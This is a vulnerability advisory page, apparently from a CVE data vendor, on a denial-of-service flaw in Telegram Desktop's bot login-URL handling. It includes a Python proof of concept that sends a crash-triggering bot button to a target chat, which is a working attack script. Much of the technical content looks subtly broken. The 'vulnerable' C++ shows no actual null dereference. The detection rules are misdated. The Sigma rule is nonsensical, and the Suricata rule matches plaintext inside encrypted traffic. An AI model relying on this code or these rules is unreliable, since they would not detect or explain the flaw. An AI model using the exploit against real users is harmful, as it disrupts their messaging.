CVE-2026-7701
Executive Summary
CVE-2026-7701 is a publicly disclosed null pointer dereference vulnerability in Telegram Desktop up to version 6.7.5. The flaw resides in the RequestButton function within Telegram/SourceFiles/boxes/url_auth_box.cpp of the Bot API component. By manipulating the login_url argument, an attacker can trigger a null pointer dereference, leading to a denial of service (DoS) condition. The attack is remotely exploitable, requires user interaction (e.g., clicking a malicious bot button), and has a CVSS v3.1 base score of 4.3 (Medium). No official patch has been released by Telegram despite disclosure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Telegram Desktop application, which is distributed as a compiled binary for Windows, macOS, and Linux. It is not a package manager (NPM, PyPI, Go, Ruby) issue. Users should verify the integrity of their Telegram Desktop installation via official channels and monitor for updates.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a malicious bot button.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): Low (L) – Application crash or hang.
Threat Level: Medium. The exploit is publicly available, but user interaction is required. The primary risk is a denial of service, not data compromise.
Deep Dive & Mechanics
The vulnerability is a classic null pointer dereference in the Bot API's URL authentication flow. When a Telegram bot sends a RequestButton with a login_url, the client processes it in url_auth_box.cpp. The RequestButton function attempts to dereference a pointer derived from the login_url argument without proper validation. If the login_url is crafted to be null or malformed, the pointer becomes null, and the dereference causes a segmentation fault, crashing the application.
Root Cause: Lack of input validation on the login_url parameter before pointer dereference in the RequestButton function.
Attack Flow:
- Attacker creates a Telegram bot.
- Attacker sends a message with an inline keyboard button containing a malicious
login_url(e.g.,nullor a specially crafted string). - Victim clicks the button.
- Telegram Desktop processes the button, calls
RequestButton, and dereferences the null pointer. - Application crashes (DoS).
Vulnerable vs. Patched Code
Vulnerable Code (Telegram Desktop <= 6.7.5):
// Telegram/SourceFiles/boxes/url_auth_box.cpp
void RequestButton::processLoginUrl(const QString &loginUrl) {
// No null check
QUrl url(loginUrl);
// ... further processing that dereferences url
if (url.scheme() == "https") {
// ...
}
}
Patched Code (Hypothetical):
// Telegram/SourceFiles/boxes/url_auth_box.cpp
void RequestButton::processLoginUrl(const QString &loginUrl) {
if (loginUrl.isEmpty()) {
// Handle null/empty case gracefully
return;
}
QUrl url(loginUrl);
if (!url.isValid()) {
// Handle invalid URL
return;
}
// ... further processing
if (url.scheme() == "https") {
// ...
}
}
The patch adds a null/empty check and URL validation before dereferencing.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Telegram Desktop <= 6.7.5 installed.
- A Telegram bot token (create via @BotFather).
- Ability to send messages to the victim.
Exploit Steps:
- Create a bot and obtain its token.
- Send a message with an inline keyboard button containing a malicious
login_url. The exact payload may vary; a simple null byte or empty string may suffice. - Victim clicks the button.
- Telegram Desktop crashes.
Proof-of-Concept (Python):
import requests
BOT_TOKEN = "YOUR_BOT_TOKEN"
CHAT_ID = "TARGET_CHAT_ID"
# Malicious login_url (null pointer trigger)
payload = {
"chat_id": CHAT_ID,
"text": "Click the button to crash",
"reply_markup": {
"inline_keyboard": [
[
{
"text": "Crash Me",
"login_url": "" # Empty/null login_url
}
]
]
}
}
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
response = requests.post(url, json=payload)
print(response.json())
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual bot interactions, especially inline keyboard buttons with empty or malformed
login_urlfields. - Use endpoint detection and response (EDR) to detect Telegram Desktop crashes (segfaults).
- Analyze network traffic for Telegram API calls with suspicious
login_urlparameters.
Defense:
- Apply input validation on the client side (pending official patch).
- Use application whitelisting to prevent unauthorized Telegram Desktop versions.
- Educate users not to click suspicious bot buttons.
Indicators of Compromise (IOCs)
- Network: Telegram API requests with
login_urlset to an empty string or null value. - Endpoint: Telegram Desktop process crash logs (segfault in
url_auth_box.cpp). - File: Modified
url_auth_box.cpp(if source is available). - Behavior: Sudden termination of Telegram Desktop after clicking a bot button.
Detection Engineering
YARA Rule
rule CVE_2026_7701_Telegram_Desktop_Null_Ptr {
meta:
description = "Detects Telegram Desktop binary with vulnerable null pointer dereference in url_auth_box.cpp"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-7701"
strings:
$s1 = "RequestButton" ascii wide
$s2 = "login_url" ascii wide
$s3 = "url_auth_box" ascii wide
condition:
all of them
}
Sigma Rule
title: Telegram Desktop Crash via Malicious Bot Button
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects Telegram Desktop crashes caused by null pointer dereference in url_auth_box.cpp
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\Telegram.exe'
CommandLine|contains: '--'
condition: selection
falsepositives:
- Legitimate Telegram Desktop crashes
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2026-7701 Telegram Desktop Bot API Null Pointer Dereference"; flow:to_server,established; content:"login_url"; nocase; content:!"|22|"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Bot Interactions: Temporarily disable or restrict bot interactions in Telegram Desktop until a patch is available.
- User Education: Warn users not to click on suspicious bot buttons from untrusted sources.
- Application Control: Use EDR to block or alert on Telegram Desktop crashes.
Long-Term Fix:
- Apply the official patch from Telegram when released.
- Implement client-side input validation for
login_urlin custom builds (if source is available).
Workaround:
- Use the Telegram Web or mobile client, which may not be affected (verify independently).
Monitoring:
- Continuously monitor for Telegram Desktop crashes and investigate bot interactions.
Valters IT
{/* [Security Hash: 7F53563CD0E0275E94F80665] */}